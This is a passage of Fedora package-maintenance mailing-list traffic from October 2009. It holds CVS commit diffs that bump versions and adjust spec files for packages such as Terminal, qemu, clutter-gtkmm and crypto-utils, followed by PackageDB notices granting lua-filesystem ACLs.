diff -u -p -r1.7 -r1.8
--- .cvsignore	11 Sep 2009 16:09:31 -0000	1.7
+++ .cvsignore	1 Oct 2009 22:12:44 -0000	1.8
@@ -1 +1 @@
-Write-67.tar.bz2
+Write-68.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-write/F-12/sources,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- sources	11 Sep 2009 16:09:31 -0000	1.7
+++ sources	1 Oct 2009 22:12:44 -0000	1.8
@@ -1 +1 @@
-db712c5aca62ffd3aa4fc4cd50e367ec  Write-67.tar.bz2
+69fd30f1ffa210afbb18f29129c3253a  Write-68.tar.bz2


Index: sugar-write.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-write/F-12/sugar-write.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sugar-write.spec	11 Sep 2009 16:33:42 -0000	1.10
+++ sugar-write.spec	1 Oct 2009 22:12:44 -0000	1.11
@@ -1,6 +1,6 @@
 Name: sugar-write
-Version: 67
-Release: 2%{?dist}
+Version: 68
+Release: 1%{?dist}
 Summary: Word processor for Sugar
 Group: Sugar/Activities
 License: GPLv2+
@@ -44,6 +44,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Tue Oct 01 2009 Simon Schampijer <simon at schampijer.de> - 68-1
+- updated translations
+
 * Fri Sep 11 2009 Simon Schampijer <simon at schampijer.de> - 67-2
 - add build requirement gettext
 



From kevin at fedoraproject.org  Thu Oct  1 22:14:59 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  1 Oct 2009 22:14:59 +0000 (UTC)
Subject: rpms/Terminal/F-12 sources, 1.11, 1.12 .cvsignore, 1.11,
	1.12 Terminal.spec, 1.30, 1.31
Message-ID: <20091001221459.F206811C0261@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/extras/rpms/Terminal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11493

Modified Files:
	sources .cvsignore Terminal.spec 
Log Message:
Update to 0.4.1



Index: sources
===================================================================
RCS file: /cvs/extras/rpms/Terminal/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	20 Jul 2009 18:44:35 -0000	1.11
+++ sources	1 Oct 2009 22:14:58 -0000	1.12
@@ -1 +1 @@
-07efc1c2a2f2a08d06c110ff206fa836  Terminal-0.4.0.tar.bz2
+28380b421e414c8c25203e0ec3749922  Terminal-0.4.1.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/Terminal/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	20 Jul 2009 18:44:35 -0000	1.11
+++ .cvsignore	1 Oct 2009 22:14:59 -0000	1.12
@@ -1 +1 @@
-Terminal-0.4.0.tar.bz2
+Terminal-0.4.1.tar.bz2


Index: Terminal.spec
===================================================================
RCS file: /cvs/extras/rpms/Terminal/F-12/Terminal.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- Terminal.spec	24 Jul 2009 16:25:18 -0000	1.30
+++ Terminal.spec	1 Oct 2009 22:14:59 -0000	1.31
@@ -1,10 +1,10 @@
 Summary: X Terminal Emulator
 Name: Terminal
-Version: 0.4.0
-Release: 2%{?dist}
+Version: 0.4.1
+Release: 1%{?dist}
 License: GPLv2+
-URL: http://goodies.xfce.org/projects/applications/terminal/
-Source0: http://goodies.xfce.org/releases/terminal/Terminal-%{version}.tar.bz2
+URL: http://www.xfce.org/projects/terminal/
+Source0:  http://archive.xfce.org/src/apps/terminal/0.4/Terminal-%{version}.tar.bz2
 Group: User Interface/Desktops
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: vte-devel >= 0.17.1
@@ -68,6 +68,9 @@ fi
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Thu Oct 01 2009 Kevin Fenzi <kevin at tummy.com> - 0.4.1-1
+- Update to 0.4.1
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.0-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From emaldonado at fedoraproject.org  Thu Oct  1 22:32:40 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Thu,  1 Oct 2009 22:32:40 +0000 (UTC)
Subject: rpms/crypto-utils/devel genkey.pl, 1.28, 1.29 crypto-utils.spec,
	1.63, 1.64
Message-ID: <20091001223240.D847011C0261@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/crypto-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20786

Modified Files:
	genkey.pl crypto-utils.spec 
Log Message:
Fix genkey to output CSRs, certs and keys in ascii PEM format (#526720)


Index: genkey.pl
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/devel/genkey.pl,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- genkey.pl	20 May 2009 15:53:54 -0000	1.28
+++ genkey.pl	1 Oct 2009 22:32:39 -0000	1.29
@@ -1086,7 +1086,8 @@ sub genRequestOpenSSL
     my $args = "-c genreq ";
     $args   .= "-g $bits "; 
     $args   .= "-s $subject ";
-    $args   .= "-v $months "; 
+    $args   .= "-v $months ";
+    $args   .= "-a ";              ## using ascii
     $args   .= "-o $csrfile ";
     $args   .= "-k $keyfile "; 
     $args   .= "-e $keyEncPassword " if $keyEncPassword;
@@ -1166,6 +1167,7 @@ sub renewCertOpenSSL
     # This is a request where we reuse the existing key pair
 
     my $args = "--command genreq ";
+    $args   .= "--ascii ";              ## using ascii
     $args   .= "--renew $certfile "; 
     $args   .= "--input $keyfile "; 
     $args   .= "--cacert " if $cacert;


Index: crypto-utils.spec
===================================================================
RCS file: /cvs/extras/rpms/crypto-utils/devel/crypto-utils.spec,v
retrieving revision 1.63
retrieving revision 1.64
diff -u -p -r1.63 -r1.64
--- crypto-utils.spec	30 Jul 2009 21:02:00 -0000	1.63
+++ crypto-utils.spec	1 Oct 2009 22:32:39 -0000	1.64
@@ -4,7 +4,7 @@
 Summary: SSL certificate and key management utilities
 Name: crypto-utils
 Version: 2.4.1
-Release: 22
+Release: 23
 Source: crypto-rand-%{crver}.tar.gz
 Source1: genkey.pl
 Source2: certwatch.c
@@ -131,6 +131,9 @@ chmod -R u+w $RPM_BUILD_ROOT
 %{perl_vendorarch}/auto/Crypt
 
 %changelog
+* Thu Oct 01 2009 Elio Maldonado<emaldona at redhat.com> - 2.4.1-23
+- Fix genkey to produce CSRs, certs, and key in ascii PEM format (#526720)
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.4.1-22
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From kkofler at fedoraproject.org  Thu Oct  1 22:33:55 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu,  1 Oct 2009 22:33:55 +0000 (UTC)
Subject: rpms/clutter-gtkmm/F-12 clutter-gtkmm.spec,1.6,1.7
Message-ID: <20091001223355.ACD7511C0261@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/clutter-gtkmm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21481/F-12

Modified Files:
	clutter-gtkmm.spec 
Log Message:
fix configure to avoid having to autoreconf


Index: clutter-gtkmm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-gtkmm/F-12/clutter-gtkmm.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- clutter-gtkmm.spec	1 Oct 2009 21:58:34 -0000	1.6
+++ clutter-gtkmm.spec	1 Oct 2009 22:33:55 -0000	1.7
@@ -45,6 +45,8 @@ developing %{name} applications.
 %prep
 %setup -q
 %patch0 -p1 -b .cluttergtk010
+# fix configure to avoid having to autoreconf
+sed -i -e 's/clutter-gtk-0\.9 >= 0\.9\.1/clutter-gtk-0.10 >= 0.10.2/g' configure
 
 
 %build



From kkofler at fedoraproject.org  Thu Oct  1 22:33:55 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu,  1 Oct 2009 22:33:55 +0000 (UTC)
Subject: rpms/clutter-gtkmm/devel clutter-gtkmm.spec,1.6,1.7
Message-ID: <20091001223355.E2AD411C0261@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/clutter-gtkmm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21481/devel

Modified Files:
	clutter-gtkmm.spec 
Log Message:
fix configure to avoid having to autoreconf


Index: clutter-gtkmm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-gtkmm/devel/clutter-gtkmm.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- clutter-gtkmm.spec	1 Oct 2009 21:58:35 -0000	1.6
+++ clutter-gtkmm.spec	1 Oct 2009 22:33:55 -0000	1.7
@@ -45,6 +45,8 @@ developing %{name} applications.
 %prep
 %setup -q
 %patch0 -p1 -b .cluttergtk010
+# fix configure to avoid having to autoreconf
+sed -i -e 's/clutter-gtk-0\.9 >= 0\.9\.1/clutter-gtk-0.10 >= 0.10.2/g' configure
 
 
 %build



From jforbes at fedoraproject.org  Thu Oct  1 22:34:54 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Thu,  1 Oct 2009 22:34:54 +0000 (UTC)
Subject: rpms/qemu/devel qemu.spec,1.136,1.137
Message-ID: <20091001223454.C9D5A11C0261@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/qemu/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18768

Modified Files:
	qemu.spec 
Log Message:
Update the Release for build


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/devel/qemu.spec,v
retrieving revision 1.136
retrieving revision 1.137
diff -u -p -r1.136 -r1.137
--- qemu.spec	1 Oct 2009 21:32:06 -0000	1.136
+++ qemu.spec	1 Oct 2009 22:34:54 -0000	1.137
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD



From jforbes at fedoraproject.org  Thu Oct  1 22:38:01 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Thu,  1 Oct 2009 22:38:01 +0000 (UTC)
Subject: rpms/qemu/F-12 qemu.spec,1.136,1.137
Message-ID: <20091001223801.9AFA411C0261@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/qemu/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23278

Modified Files:
	qemu.spec 
Log Message:
Update the Release for build


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.136
retrieving revision 1.137
diff -u -p -r1.136 -r1.137
--- qemu.spec	1 Oct 2009 21:29:40 -0000	1.136
+++ qemu.spec	1 Oct 2009 22:38:01 -0000	1.137
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD



From kevin at fedoraproject.org  Thu Oct  1 22:46:50 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Thu,  1 Oct 2009 22:46:50 +0000 (UTC)
Subject: rpms/Terminal/F-11 sources, 1.9, 1.10 .cvsignore, 1.9,
	1.10 Terminal.spec, 1.26, 1.27
Message-ID: <20091001224650.C1BA711C0261@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/extras/rpms/Terminal/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26663

Modified Files:
	sources .cvsignore Terminal.spec 
Log Message:
Update to 0.4.1



Index: sources
===================================================================
RCS file: /cvs/extras/rpms/Terminal/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	20 Apr 2009 23:21:59 -0000	1.9
+++ sources	1 Oct 2009 22:46:50 -0000	1.10
@@ -1 +1 @@
-adb419d279c9fc16d02291c052190717  Terminal-0.2.12.tar.bz2
+28380b421e414c8c25203e0ec3749922  Terminal-0.4.1.tar.bz2


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/Terminal/F-11/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	20 Apr 2009 23:21:59 -0000	1.9
+++ .cvsignore	1 Oct 2009 22:46:50 -0000	1.10
@@ -1 +1 @@
-Terminal-0.2.12.tar.bz2
+Terminal-0.4.1.tar.bz2


Index: Terminal.spec
===================================================================
RCS file: /cvs/extras/rpms/Terminal/F-11/Terminal.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- Terminal.spec	29 Jun 2009 15:34:24 -0000	1.26
+++ Terminal.spec	1 Oct 2009 22:46:50 -0000	1.27
@@ -1,19 +1,19 @@
 Summary: X Terminal Emulator
 Name: Terminal
-Version: 0.2.12
-Release: 2%{?dist}
+Version: 0.4.1
+Release: 1%{?dist}
 License: GPLv2+
 URL: http://www.xfce.org/projects/terminal/
-Source0: http://www.xfce.org/archive/xfce-4.6.1/src/Terminal-%{version}.tar.bz2
-Patch0: Terminal-0.2.12-alwaysshowtabs.patch
+Source0:  http://archive.xfce.org/src/apps/terminal/0.4/Terminal-%{version}.tar.bz2
 Group: User Interface/Desktops
 Buildroot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires: vte-devel
+BuildRequires: vte-devel >= 0.17.1
 BuildRequires: exo-devel >= 0.3.4
 BuildRequires: libSM-devel
 BuildRequires: gettext intltool
 BuildRequires: startup-notification-devel
-BuildRequires: dbus-glib-devel
+BuildRequires: dbus-glib-devel >= 0.22
+BuildRequires: desktop-file-utils
 
 %description
 Terminal is a lightweight and easy to use terminal emulator application
@@ -22,7 +22,6 @@ it unique among X terminal emulators. 
 
 %prep
 %setup -q
-%patch0 -p0
 
 %build
 %configure
@@ -32,6 +31,11 @@ make %{?_smp_mflags}
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 %find_lang %{name}
+desktop-file-install                                       \
+  --delete-original                                        \
+  --add-category="GTK"                                     \
+  --dir=${RPM_BUILD_ROOT}%{_datadir}/applications          \
+  ${RPM_BUILD_ROOT}%{_datadir}/applications/%{name}.desktop
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -64,6 +68,22 @@ fi
 %{_libexecdir}/TerminalHelp
 
 %changelog
+* Thu Oct 01 2009 Kevin Fenzi <kevin at tummy.com> - 0.4.1-1
+- Update to 0.4.1
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.4.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Mon Jul 20 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.4.0-1
+- Update to 0.4.0
+- Use desktop-file-install
+
+* Sun Jul 19 2009 Kevin Fenzi <kevin at tummy.com> - 0.2.99.1-1
+- Update to 0.2.99.1
+
+* Mon Apr 29 2009 Kevin Fenzi <kevin at tummy.com> - 0.2.12-3
+- Fix patch fuzz
+
 * Sun Apr 28 2009 Kevin Fenzi <kevin at tummy.com> - 0.2.12-2
 - Add patch for MiscAlwaysShowTabs segfault (fixes bug 502135)
 



From kkofler at fedoraproject.org  Thu Oct  1 22:50:14 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu,  1 Oct 2009 22:50:14 +0000 (UTC)
Subject: rpms/clutter-gtkmm/F-12 clutter-gtkmm.spec,1.7,1.8
Message-ID: <20091001225014.9A06711C048A@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/clutter-gtkmm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27245/F-12

Modified Files:
	clutter-gtkmm.spec 
Log Message:
BR the exact minimum version (but this is not worth rebuilding for).


Index: clutter-gtkmm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-gtkmm/F-12/clutter-gtkmm.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- clutter-gtkmm.spec	1 Oct 2009 22:33:55 -0000	1.7
+++ clutter-gtkmm.spec	1 Oct 2009 22:50:13 -0000	1.8
@@ -14,7 +14,7 @@ Source0:        http://ftp.gnome.org/pub
 Patch0:         clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: clutter-gtk-devel >= 0.10
+BuildRequires: clutter-gtk-devel >= 0.10.2
 BuildRequires: cluttermm-devel >= 0.9
 BuildRequires: gtkmm24-devel
 BuildRequires: doxygen graphviz



From kkofler at fedoraproject.org  Thu Oct  1 22:50:15 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Thu,  1 Oct 2009 22:50:15 +0000 (UTC)
Subject: rpms/clutter-gtkmm/devel clutter-gtkmm.spec,1.7,1.8
Message-ID: <20091001225015.080FB11C04D1@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/clutter-gtkmm/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27245/devel

Modified Files:
	clutter-gtkmm.spec 
Log Message:
BR the exact minimum version (but this is not worth rebuilding for).


Index: clutter-gtkmm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clutter-gtkmm/devel/clutter-gtkmm.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- clutter-gtkmm.spec	1 Oct 2009 22:33:55 -0000	1.7
+++ clutter-gtkmm.spec	1 Oct 2009 22:50:14 -0000	1.8
@@ -14,7 +14,7 @@ Source0:        http://ftp.gnome.org/pub
 Patch0:         clutter-gtkmm-0.9.4-clutter-gtk-0.10.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-BuildRequires: clutter-gtk-devel >= 0.10
+BuildRequires: clutter-gtk-devel >= 0.10.2
 BuildRequires: cluttermm-devel >= 0.9
 BuildRequires: gtkmm24-devel
 BuildRequires: doxygen graphviz



From pkgdb at fedoraproject.org  Thu Oct  1 22:52:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:52:39 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested watchbugzilla
Message-ID: <20091001225239.441EF10F86A@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua-filesystem (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:52:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:52:41 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested watchcommits
Message-ID: <20091001225241.B798B10F88B@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua-filesystem (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:52:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:52:42 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested commit
Message-ID: <20091001225242.DA7D110F892@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua-filesystem (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:52:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:52:44 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested approveacls
Message-ID: <20091001225244.AD4EA10F895@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua-filesystem (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:52:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:52:52 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested watchbugzilla
Message-ID: <20091001225252.385B410F88B@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua-filesystem (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:52:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:52:54 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested watchcommits
Message-ID: <20091001225254.5C4D210F894@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua-filesystem (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:52:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:52:56 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested commit
Message-ID: <20091001225256.8757710F8A9@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua-filesystem (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:52:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:52:58 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested approveacls
Message-ID: <20091001225258.56C8010F889@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua-filesystem (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:53:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:53:04 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested watchbugzilla
Message-ID: <20091001225304.DE7FB10F8B0@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua-filesystem (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:53:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:53:06 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested watchcommits
Message-ID: <20091001225306.9456310F892@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua-filesystem (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:53:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:53:08 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested commit
Message-ID: <20091001225308.952A210F894@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua-filesystem (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 22:53:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 22:53:10 +0000
Subject: [pkgdb] lua-filesystem: salimma has requested approveacls
Message-ID: <20091001225310.0939110F8A9@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua-filesystem (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From cwickert at fedoraproject.org  Thu Oct  1 22:56:48 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Thu,  1 Oct 2009 22:56:48 +0000 (UTC)
Subject: rpms/xfce4-clipman-plugin/F-12 .cvsignore, 1.11, 1.12 sources, 1.11,
	1.12 xfce4-clipman-plugin.spec, 1.25, 1.26
Message-ID: <20091001225648.730D511C0261@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/xfce4-clipman-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28984

Modified Files:
	.cvsignore sources xfce4-clipman-plugin.spec 
Log Message:
* Thu Oct 01 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1.1-1
- Update to 1.1.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-clipman-plugin/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	4 Sep 2009 22:04:49 -0000	1.11
+++ .cvsignore	1 Oct 2009 22:56:47 -0000	1.12
@@ -1 +1 @@
-xfce4-clipman-plugin-1.1.0.tar.bz2
+xfce4-clipman-plugin-1.1.1.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-clipman-plugin/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	4 Sep 2009 22:04:49 -0000	1.11
+++ sources	1 Oct 2009 22:56:48 -0000	1.12
@@ -1 +1 @@
-bf038078ec3566c06d2ef400a91756d1  xfce4-clipman-plugin-1.1.0.tar.bz2
+0884207cabd3a3a94c86b919bbf1617b  xfce4-clipman-plugin-1.1.1.tar.bz2


Index: xfce4-clipman-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xfce4-clipman-plugin/F-12/xfce4-clipman-plugin.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- xfce4-clipman-plugin.spec	5 Sep 2009 01:16:55 -0000	1.25
+++ xfce4-clipman-plugin.spec	1 Oct 2009 22:56:48 -0000	1.26
@@ -1,5 +1,5 @@
 Name:           xfce4-clipman-plugin
-Version:        1.1.0
+Version:        1.1.1
 Release:        1%{?dist}
 Summary:        Clipboard manager plugin for the Xfce panel
 
@@ -86,6 +86,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 
 
 %changelog
+* Thu Oct 01 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1.1-1
+- Update to 1.1.1
+
 * Fri Sep 04 2009 Christoph Wickert <cwickert at fedoraproject.org> - 1.1.0-1
 - Update to 1.1.0
 



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:15 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230915.6C19B10F7EA@bastion2.fedora.phx.redhat.com>

timn has set the watchbugzilla acl on lua-filesystem (Fedora devel) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:17 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230917.9D5E910F87E@bastion2.fedora.phx.redhat.com>

timn has set the watchcommits acl on lua-filesystem (Fedora devel) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:19 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230919.408C810F88B@bastion2.fedora.phx.redhat.com>

timn has set the commit acl on lua-filesystem (Fedora devel) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:21 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230921.1259D10F892@bastion2.fedora.phx.redhat.com>

timn has set the approveacls acl on lua-filesystem (Fedora devel) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:38 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230938.5836510F86A@bastion2.fedora.phx.redhat.com>

timn has set the watchbugzilla acl on lua-filesystem (Fedora 11) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:39 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230938.EB76310F88B@bastion2.fedora.phx.redhat.com>

timn has set the watchcommits acl on lua-filesystem (Fedora 11) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:40 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230940.B6B7E10F894@bastion2.fedora.phx.redhat.com>

